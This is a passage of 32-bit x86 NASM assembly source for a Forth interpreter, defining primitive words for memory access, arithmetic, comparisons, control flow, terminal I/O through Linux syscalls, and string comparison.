8\n\tret\n\tdefword_end\n\n\tdefword \"@\", 0, WORD_FETCH, WORD_INLINE_COMMA\n\tmov ebx, [ebx]\n\tret\n\tdefword_end\n\n\tdefword \"+!\", 0, WORD_ADDSTORE, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tadd [ebx], eax\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"-!\", 0, WORD_SUBSTORE, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tsub [ebx], eax\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"c!\", 0, WORD_STOREBYTE, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tmov [ebx], al\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"c+!\", 0, WORD_ADDBYTE, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tadd [ebx], al\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"c@\", 0, WORD_FETCHBYTE, WORD_INLINE_COMMA\n\tmov eax, ebx\n\txor ebx, ebx\n\tmov bl, [eax]\n\tret\n\tdefword_end\n\n\tdefword \"w!\", 0, WORD_STORESHORT, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tmov [ebx], ax\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"w@\", 0, WORD_FETCHSHORT, WORD_INLINE_COMMA\n\tmov eax, ebx\n\txor ebx, ebx\n\tmov bx, [eax]\n\tret\n\tdefword_end\n\n\tdefword \"2!\", 0, WORD_STORE2, WORD_INLINE_COMMA\n\tPICKDSP ecx, 4\n\tPICKDSP edx, 0\n\tmov [ebx + 4], ecx\n\tmov [ebx], edx\n\tPICKDSP ebx, 8\n\tADDDSP 12\n\tret\n\tdefword_end\n\n\tdefword \"2@\", 0, WORD_FETCH2, WORD_INLINE_COMMA\n\tADDDSP -4\n\tmov ecx, [ebx +4]\n\tmov ebx, [ebx]\n\tPUTDSP ecx, 0\n\tret\n\tdefword_end\n\n\tdefword \"blank\", 0, WORD_BLANK, WORD_CALL_COMMA\n\tmov ecx, ebx\n\tPICKDSP ebx, 4\n\tPICKDSP edi, 0\n\tADDDSP 8\n\tmov eax, 0x20\n\trep stosb\n\tret\n\tdefword_end\n\n\tdefword \"erase\", 0, WORD_ERASE, WORD_CALL_COMMA\n\tmov ecx, ebx\n\tPICKDSP ebx, 4\n\tPICKDSP edi, 0\n\tADDDSP 8\n\txor eax, eax\n\trep stosb\n\tret\n\tdefword_end\n\n\tdefword \"fill\", 0, WORD_FILL, WORD_CALL_COMMA\n\tmov eax, ebx\n\tPICKDSP ebx, 8\n\tPICKDSP edi, 4\n\tPICKDSP ecx, 0\n\tADDDSP 12\n\trep stosb\n\tret\n\tdefword_end\n\n\tdefword \"cmove>\", 0, WORD_CMOVEB, WORD_CALL_COMMA\n\tmov ecx, ebx\n\tPICKDSP ebx, 8\n\tPICKDSP esi, 4\n\tPICKDSP edi, 0\n\tADDDSP 12\n\tlea esi, [esi + ecx - 1]\n\tlea edi, [edi + ecx - 1]\n\tstd\n\trep movsb\n\tcld\n\tret\n\tdefword_end\n\n\tdefword \"cmove\", 0, WORD_CMOVE, WORD_CALL_COMMA\n\tmov ecx, ebx\n\tPICKDSP ebx, 8\n\tPICKDSP esi, 4\n\tPICKDSP edi, 0\n\tADDDSP 12\n\trep movsb\n\tret\n\tdefword_end\n\n\tdefword \"move\", 0, WORD_MOVE, WORD_CALL_COMMA\n\tmov ecx, ebx\n\tPICKDSP ebx, 8\n\tPICKDSP esi, 4\n\tPICKDSP edi, 0\n\tADDDSP 12\n\tcmp esi, edi\n\tif a\n\t\trep movsb\n\telse\n\t\tlea esi, [esi + ecx -1]\n\t\tlea edi, [edi + ecx -1]\n\t\tstd\n\t\trep movsb\n\t\tcld\n\tendif\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; single precision alu words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"+\", 0, WORD_ADD, WORD_INLINE_COMMA\n\tadd ebx, [ebp]\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"-\", 0, WORD_SUB, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tPOPDSP ebx\n\tsub ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"*\", 0, WORD_MULL, WORD_INLINE_COMMA\n\timul ebx, [ebp]\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"/\", 0, WORD_DIV, WORD_INLINE_COMMA\n\tPOPDSP eax\n\tcdq\n\tidiv ebx\n\tmov ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"mod\", 0, WORD_MOD, WORD_INLINE_COMMA\n\tPOPDSP eax\n\tcdq\n\tidiv ebx\n\tmov ebx, edx\n\tret\n\tdefword_end\n\n\tdefword \"1+\", 0, WORD_INCR, WORD_INLINE_COMMA\n\tadd ebx, byte 1\n\tret\n\tdefword_end\n\n\tdefword \"1-\", 0, WORD_DECR, WORD_INLINE_COMMA\n\tsub ebx, byte 1\n\tret\n\tdefword_end\n\n\tdefword \"4+\", 0, WORD_INCR4, WORD_INLINE_COMMA\n\tadd ebx, byte 4\n\tret\n\tdefword_end\n\n\tdefword \"4-\", 0, WORD_DECR4, WORD_INLINE_COMMA\n\tsub ebx, byte 4\n\tret\n\tdefword_end\n\n\tdefword \"2+\", 0, WORD_INCR2, WORD_INLINE_COMMA\n\tadd ebx, byte 2\n\tret\n\tdefword_end\n\n\tdefword \"2-\", 0, WORD_DECR2, WORD_INLINE_COMMA\n\tsub ebx, byte 2\n\tret\n\tdefword_end\n\n\tdefword \"2*\", 0, WORD_TWOMUL, WORD_INLINE_COMMA\n\tshl ebx, byte 1\n\tret\n\tdefword_end\n\n\tdefword \"2/\", 0, WORD_TWODIV, WORD_INLINE_COMMA\n\tsar ebx, byte 1\n\tret\n\tdefword_end\n\n\tdefword \"abs\", 0, WORD_ABS, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tsar eax, byte 31\n\tadd ebx, eax\n\txor ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"min\", 0, WORD_MIN, WORD_INLINE_COMMA\n\tPOPDSP eax\n\tcmp ebx, eax\n\tif g\n\t\tmov ebx, eax\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"max\", 0, WORD_MAX, WORD_INLINE_COMMA\n\tPOPDSP eax\n\tcmp ebx, eax\n\tif l\n\t\tmov ebx, eax\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"lshift\", 0, WORD_LSHIFT, WORD_INLINE_COMMA\n\tmov ecx, ebx\n\tPOPDSP ebx\n\tshl ebx, cl\n\tret\n\tdefword_end\n\n\tdefword \"rshift\", 0, WORD_RSHIFT, WORD_INLINE_COMMA\n\tmov ecx, ebx\n\tPOPDSP ebx\n\tshr ebx, cl\n\tret\n\tdefword_end\n\n\tdefword \"and\", 0, WORD_AND, WORD_INLINE_COMMA\n\tand ebx, [ebp]\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"or\", 0, WORD_OR, WORD_INLINE_COMMA\n\tor ebx, [ebp]\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"xor\", 0, WORD_XOR, WORD_INLINE_COMMA\n\txor ebx, [ebp]\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"negate\", 0, WORD_NEGATE, WORD_INLINE_COMMA\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"invert\", 0, WORD_INVERT, WORD_INLINE_COMMA\n\tnot ebx\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; single precision comparision words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"=\", 0, WORD_EQ, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsete bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"<>\", 0, WORD_NE, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetne bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"<\", 0, WORD_LT, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetl bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \">\", 0, WORD_GT, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetg bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"u<\", 0, WORD_ULT, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetb bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"u>\", 0, WORD_UGT, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tseta bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"u<=\", 0, WORD_ULTEQ, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetbe bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"u>=\", 0, WORD_UGTEQ, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetae bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"<=\", 0, WORD_LTEQ, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetle bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \">=\", 0, WORD_GTEQ, WORD_INLINE_COMMA\n\tcmp [ebp], ebx\n\tsetge bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"0=\", 0, WORD_ZEQ, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetz bl\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"0<>\", 0, WORD_ZNE, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetnz bl\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"0<\", 0, WORD_ZLT, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetl bl\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"0>\", 0, WORD_ZGT, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetg bl\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"0<=\", 0, WORD_ZLTEQ, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetle bl\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"0>=\", 0, WORD_ZGTEQ, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetge bl\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; double precision ALU words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"s>d\", 0, WORD_STOD, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tcdq\n\tPUSHDSP eax\n\tmov ebx, edx\n\tret\n\tdefword_end\n\n\tdefword \"d>s\", 0, WORD_DTOS, WORD_INLINE_COMMA\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"d+\", 0, WORD_DPLUS, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP edx, 4\n\tPICKDSP eax, 0\n\tadd eax, ecx\n\tadc ebx, edx\n\tPUTDSP eax, 8\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"d-\", 0, WORD_DMINUS, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP edx, 4\n\tPICKDSP eax, 0\n\tsub ecx, eax\n\tsbb edx, ebx\n\tPUTDSP ecx, 8\n\tmov ebx, edx\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"d2*\", 0, WORD_D2STAR, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tshl eax, 1\n\trcl ebx, 1\n\tPUTDSP eax, 0\n\tret\n\tdefword_end\n\n\tdefword \"d2/\", 0, WORD_D2SLASH, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tsar ebx, 1\n\trcr eax, 1\n\tPUTDSP eax, 0\n\tret\n\tdefword_end\n\n\tdefword \"*/\", 0, WORD_MULDIV, WORD_INLINE_COMMA\n\tPICKDSP edx, 4\n\tPICKDSP eax, 0\n\timul edx\n\tidiv ebx\n\tmov ebx, eax\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"*/mod\", 0, WORD_STARSMOD, WORD_INLINE_COMMA\n\tPICKDSP edx, 4\n\tPICKDSP eax, 0\n\timul edx\n\tidiv ebx\n\tPUTDSP edx, 4\n\tADDDSP 4\n\tmov ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"/mod\", 0, WORD_DIVMOD, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tcdq\n\tidiv ebx\n\tPUTDSP edx, 0\n\tmov ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"dnegate\", 0, WORD_DNEGATE, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tnot eax\n\tnot ebx\n\tadd eax, 1\n\tadc ebx, 0\n\tPUTDSP eax, 0\n\tret\n\tdefword_end\n\n\tdefword \"dabs\", 0, WORD_DABS, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tif l\n\t\tPICKDSP eax, 0\n\t\tnot eax\n\t\tnot ebx\n\t\tadd eax, 1\n\t\tadc ebx, 0\n\t\tPUTDSP eax, 0\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"dmax\", 0, WORD_DMAX, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP edx, 4\n\tPICKDSP eax, 0\n\tADDDSP 8\n\tmov esi, ecx\n\tmov edi, edx\n\tsub esi, eax\n\tsbb edi, ebx\n\tif l\n\t\tPUTDSP eax, 0\n\telse\n\t\tmov ebx, edx\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"dmin\", 0, WORD_DMIN, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP edx, 4\n\tPICKDSP eax, 0\n\tADDDSP 8\n\tmov esi, ecx\n\tmov edi, edx\n\tsub esi, eax\n\tsbb edi, ebx\n\tif ge\n\t\tPUTDSP eax, 0\n\telse\n\t\tmov ebx, edx\n\tendif\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; double precision comparision words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"d0=\", 0, WORD_DZEQ, WORD_INLINE_COMMA\n\tor ebx, [ebp]\n\tsetz bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"d0<>\", 0, WORD_DZNEQ, WORD_INLINE_COMMA\n\tor ebx, [ebp]\n\tsetnz bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"d0<\", 0, WORD_DZLT, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tsetl bl\n\tADDDSP 4\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"d=\", 0, WORD_DEQ, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP eax, 4\n\tsub ecx, [ebp]\n\tsbb eax, ebx\n\tsetz bl\n\tADDDSP 12\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"d<>\", 0, WORD_DNEQ, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP eax, 4\n\tsub ecx, [ebp]\n\tsbb eax, ebx\n\tsetnz bl\n\tADDDSP 12\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"d<\", 0, WORD_DLT, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP eax, 4\n\tsub ecx, [ebp]\n\tsbb eax, ebx\n\tsetl bl\n\tADDDSP 12\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n\tdefword \"du<\", 0, WORD_DULT, WORD_INLINE_COMMA\n\tPICKDSP ecx, 8\n\tPICKDSP eax, 4\n\tsub ecx, [ebp]\n\tsbb eax, ebx\n\tsetb bl\n\tADDDSP 12\n\tmovzx ebx, bl\n\tneg ebx\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;\n; mixed precision words\n;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"m+\", 0, WORD_MPLUS, WORD_INLINE_COMMA\n\tPICKDSP eax, 4\n\tPICKDSP edx, 0\n\tadd eax, ebx\n\tadc edx, 0\n\tPUTDSP eax, 4\n\tmov ebx, edx\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"m-\", 0, WORD_MMINUS, WORD_INLINE_COMMA\n\tPICKDSP eax, 4\n\tPICKDSP edx, 0\n\tsub eax, ebx\n\tsbb edx, 0\n\tPUTDSP eax, 4\n\tmov ebx, edx\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"m*\", 0, WORD_MULSTAR, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\timul ebx\n\tPUTDSP eax, 0\n\tmov ebx, edx\n\tret\n\tdefword_end\n\n\tdefword \"m/\", 0, WORD_MSLASH, WORD_INLINE_COMMA\n\tPICKDSP eax, 4\n\tPICKDSP edx, 0\n\tidiv ebx\n\tmov ebx, eax\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"um*\", 0, WORD_UMULSTAR, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tmul ebx\n\tPUTDSP eax, 0\n\tmov ebx, edx\n\tret\n\tdefword_end\n\n\tdefword \"um/mod\", 0, WORD_UMDIVMOD, WORD_INLINE_COMMA\n\tPICKDSP eax, 4\n\tPICKDSP edx, 0\n\tdiv ebx\n\tPUTDSP edx, 4\n\tmov ebx, eax\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"fm/mod\", 0, WORD_FMDIVMOD, WORD_INLINE_COMMA\n\tPICKDSP edx, 0\n\tPICKDSP eax, 4\n\tmov ecx, ebx\n\tADDDSP 4\n\txor ecx, edx\n\tidiv ebx\n\ttest ecx, ecx\n\tif s\n\t\ttest edx, edx\n\t\tif nz\n\t\t\tdec eax\n\t\t\tadd edx, ebx\n\t\tendif\n\tendif\n\tPUTDSP edx, 0\n\tmov ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"sm/rem\", 0, WORD_SMDIVREM, WORD_INLINE_COMMA\n\tPICKDSP eax, 4\n\tPICKDSP edx, 0\n\tidiv ebx\n\tPUTDSP edx, 4\n\tmov ebx, eax\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"u/mod\", 0, WORD_UDIVMOD, WORD_INLINE_COMMA\n\txor edx, edx\n\tPICKDSP eax, 0\n\tdiv ebx\n\tPUTDSP edx, 0\n\tmov ebx, eax\n\tret\n\tdefword_end\n\n\tdefword \"dm*\", 0, WORD_DMULSTAR, WORD_CALL_COMMA\n\tcall WORD_TUCK\n\tcall WORD_MULL\n\tTORSP\n\tcall WORD_UMULSTAR\n\tFROMRSP\n\tcall WORD_ADD\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;\n; control flow words\n;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"branch\", 0, WORD_BRANCH, WORD_INLINE_COMMA\ni_jmp:\n\tjmp strict near i_ret\n\tret\n\tdefword_end\n\n\tdefword \"0branch\", 0, WORD_ZBRANCH, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tPOPDSP ebx\n\ttest eax, eax\n\tjz strict near i_jmp\n\tret\n\tdefword_end\n\n\tdefword \"exit\", 0, WORD_EXIT, WORD_EXIT_COMMA\ni_ret:\n\tret\n\tdefword_end\n\n\tdefword \"exit,\", 0, WORD_EXIT_COMMA, WORD_CALL_COMMA\n\tmov edi, [var_WORD_DP]\n\tsub edi, 5\n\tcmp edi, [lastcall]\t; are we just after a call instruction ?\n\tif z\n\t\tmov al, [i_jmp]\n\t\tmov [edi], al\t; change it to a jmp\n\tendif\n\tmov edi, [var_WORD_DP]\n\tmov al, [i_ret]\n\tstosb\n\tmov [var_WORD_DP], edi\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"execute\", 0, WORD_EXECUTE, WORD_CALL_COMMA\n\tmov eax, ebx\t; Get xt into eax\n\tPOPDSP ebx\t\t; After xt runs its ret will continue executing the current word.\n\tjmp eax\t\t\t; and jump to it.\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n; terminal input words\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"read-char\", 0, WORD_READCHAR, WORD_CALL_COMMA\n\tmov ecx, var_WORD_CHARBUF\t; 2nd param: buffer\n\tmov edx, 1\t\t\t\t\t; 3rd param: max length\n\tpush edx\n\tpush ecx\n\tpush ebx\n\tmov eax, SYS_read\t\t\t; syscall: read\n\tcall _syscall\n\tadd esp, 12\n\txor ebx, ebx\n\ttest eax, eax\n\tif be\n\t\tmov ebx, -1\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"read-line\", 0, WORD_READLINE, WORD_CALL_COMMA\n\tcall WORD_NROT\n\tcall WORD_OVER\n\tcall WORD_ADD\n\tcall WORD_OVER\t\t; ( fd start end cur )\nreadline_l1:\n\tPICKDSP eax, 0\n\tcmp ebx, eax\n\tjz readline_l4\n\tPUSHDSP ebx\n\tPICKDSP ebx, 12\n\tcall WORD_READCHAR\n\ttest ebx, ebx\n\tjz readline_l2\n\tcall WORD_DROP\n\tcall WORD_DROP2\n\tcall WORD_DROP2\n\tLOADTOS 0\n\tLOADTOS 0\n\tLOADTOS -1\n\tjmp readline_l5\nreadline_l2:\n\tmov ebx, [var_WORD_CHARBUF]\n\tcmp ebx, 10\t\t\t; LF\n\tjz readline_l3\n\tcall WORD_OVER\n\tcall WORD_STOREBYTE\n\tcall WORD_INCR\n\tjmp readline_l1\nreadline_l3:\n\tcall WORD_DROP\nreadline_l4:\n\tcall WORD_NIP\n\tcall WORD_SWAP\n\tcall WORD_SUB\n\tcall WORD_NIP\n\tLOADTOS -1\n\tLOADTOS 0\nreadline_l5:\n\tret\n\tdefword_end\n\n\tdefword \"key\", 0, WORD_KEY, WORD_CALL_COMMA\n\tPUSHDSP ebx\n\txor ebx, ebx\t\t; stdin\n\tcall WORD_READCHAR\n\tmov ebx, [var_WORD_CHARBUF]\n\tret\n\tdefword_end\n\n\tdefword \"accept\", 0, WORD_ACCEPT, WORD_CALL_COMMA\n\tcall WORD_OVER\n\tcall WORD_ADD\n\tcall WORD_OVER\t; ( start end cur )\naccept_l1:\n\tcall WORD_KEY\n\tcmp ebx, 127\t; BS\n\tjz accept_l2\n\tcmp ebx, 10\t\t; LF\n\tjz accept_l3\n\tcall WORD_OVER\t; ( start end cur key cur )\n\tcall WORD_STOREBYTE\n\tcall WORD_INCR\t; ( start end cur' )\n\tPICKDSP eax, 0\n\tcmp ebx, eax\n\tjz accept_l4\n\tjmp accept_l1\naccept_l2:\n\tPICKDSP eax, 4\t; ( start end cur' )\n\tcmp ebx, eax\n\tjz accept_l1\n\tcall WORD_DECR\n\tjmp accept_l1\naccept_l3:\n\tcall WORD_DROP\t; ( start end cur' )\naccept_l4:\n\tcall WORD_NIP\n\tcall WORD_SWAP\n\tcall WORD_SUB\n\tret\n\tdefword_end\n\n\tdefword \"tabs>spaces\", 0, WORD_TABSTOSPACES, WORD_CALL_COMMA\n\tmov ecx, ebx\n\tPOPDSP esi\n\ttest ecx, ecx\n\tif nz\n\t\trepeat\n\t\t\tlodsb\n\t\t\tcmp al, 9\t;TAB\n\t\t\tif z\n\t\t\t\tmov byte [esi - 1], ' '\n\t\t\tendif\n\t\t\tdec ecx\n\t\tuntil z\n\tendif\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;\n; terminal output words\n;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"type-fd\", 0, WORD_TYPE_FD, WORD_CALL_COMMA\n\tPICKDSP edx, 0\t\t\t; 3rd param: length of string\n\tPICKDSP ecx, 4\t\t\t; 2nd param: address of string\n\tADDDSP 8\t\t\t\t; 1st param: FD in ebx\n\tmov eax, SYS_write\t\t; write syscall\n\tpush edx\n\tpush ecx\n\tpush ebx\n\tcall _syscall\n\tadd esp, 12\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"type\", 0, WORD_TYPE, WORD_CALL_COMMA\n\tLOADTOS 1\t\t\t\t; stdout\n\tcall WORD_TYPE_FD\n\tret\n\tdefword_end\n\n\tdefword \"emit\", 0, WORD_EMIT, WORD_CALL_COMMA\n\tmov [emit_scratch], bl\t; write needs the address of the byte to write\n\tmov ebx, emit_scratch\n\tLOADTOS 1\n\tcall WORD_TYPE\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;\n; system call words\n;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"syscall\", 0, WORD_SYSCALL, WORD_CALL_COMMA\n\tpop eax\n\tmov [syscallret], eax\t; save return address\n\tmov eax, ebx\t\t\t; System call number (see <asm/unistd.h>)\n\tcall _syscall\n\tmov ebx, eax\t\t\t; Result (negative for -errno)\n\tjmp [syscallret]\t\t; return to caller\n\tdefword_end\n\n\tdefword \"lsyscall\", 0, WORD_LSYSCALL, WORD_CALL_COMMA\n\tpop eax\n\tmov [syscallret], eax\t; save return address\n\tmov eax, ebx\t\t\t; System call number (see <asm/unistd.h>)\n\tcall _lsyscall\n\tPUSHDSP eax\n\tmov ebx, edx\t\t\t; Result (negative for -errno)\n\tjmp [syscallret]\t\t; return to caller\n\tdefword_end\n\n;;;;;;;;;;;;;;\n; string words\n;;;;;;;;;;;;;;\n\n\tdefword \"count\", 0, WORD_COUNT, WORD_CALL_COMMA\n\txor eax, eax\n\tmov al, [ebx]\n\tinc ebx\n\tLOADTOS eax\n\tret\n\tdefword_end\n\n\tdefword \"-trailing\", 0, WORD_TRAILING, WORD_CALL_COMMA\n\ttest ebx, ebx\n\tif nz\n\t\tPICKDSP esi, 0\n\t\tmov ecx, ebx\n\t\tadd esi, ebx\n\t\tdec esi\n\t\tstd\n\ttrailing_l1:\n\t\tlodsb\n\t\tcmp al, ' '\n\t\tif be\n\t\t\tloop trailing_l1\n\t\tendif\n\t\tmov ebx, ecx\n\t\tcld\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"/string\", 0, WORD_SSTRING, WORD_CALL_COMMA\n\tmov eax, ebx\n\tPOPDSP ebx\n\tPICKDSP ecx, 0\n\tsub ebx, eax\n\tadd ecx, eax\n\tPUTDSP ecx, 0\n\tret\n\tdefword_end\n\n\tdefword \"compare\", 0, WORD_COMPARE, WORD_CALL_COMMA\n\tPICKDSP esi, 8\n\tPICKDSP edx, 4\n\tPICKDSP edi, 0\n\tADDDSP 12\n\tmov ecx, ebx\n\tcmp edx, ebx\n\tif be\n\t\tmov ecx, edx\n\tendif\n\ttest ecx, ecx\t\t; ecx lowest length\n\tjnz compare_l2\n\tcmp edx, ebx\n\tjz compare_l3\t\t; both are 0 length\n\tjmp compare_l4\t\t; otherwise the longest wins\ncompare_l2:\n\tcmpsb\n\tjnz compare_l4\t\t; chars not same\n\tloop compare_l2\n\tcmp edx, ebx\t\t; all chars same\n\tjnz compare_l4\t\t; strings not same size\ncompare_l3:\n\txor ebx, ebx\t\t; same\n\tjmp compare_l7\ncompare_l4:\n\tja compare_l6\ncompare_l5:\n\tmov ebx, -1\n\tjmp compare_l7\ncompare_l6:\n\tmov ebx, 1\ncompare_l7:\n\tret\n\tdefword_end\n\n\tdefword \"icompare\", 0, WORD_COMPAREI, WORD_CALL_COMMA\n\tPICKDSP esi, 8\n\tPICKDSP edx, 4\n\tPICKDSP edi, 0\n\tADDDSP 12\n\tmov ecx, ebx\n\tcmp edx, ebx\n\tif be\n\t\tmov ecx, edx\n\tendif\n\ttest ecx, ecx\t\t; ecx lowest length\n\tjnz comparei_l2\n\tcmp edx, ebx\n\tjz comparei_l3\t\t; both are 0 length\n\tjmp comparei_l4\t\t; otherwise the longest wins\ncomparei_l2:\n\tmov al, [esi]\n\tmov ah, [edi]\n\tto_lower al\n\tto_lower ah\n\tcmp ah, al\n\tjnz comparei_l4\t\t; chars not same\n\tinc edi\n\tinc esi\n\tloop comparei_l2\n\tcmp edx, ebx\t\t; all chars same\n\tjnz comparei_l4\t\t; strings not same size\ncomparei_l3:\n\txor ebx, ebx\t\t; same\n\tjmp comparei_l7\ncomparei_l4:\n\tja comparei_l6\ncomparei_l5:\n\tmov ebx, -1\n\tjmp comparei_l7\ncomparei_l6:\n\tmov ebx, 1\ncomparei_l7:\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; dictionary searching 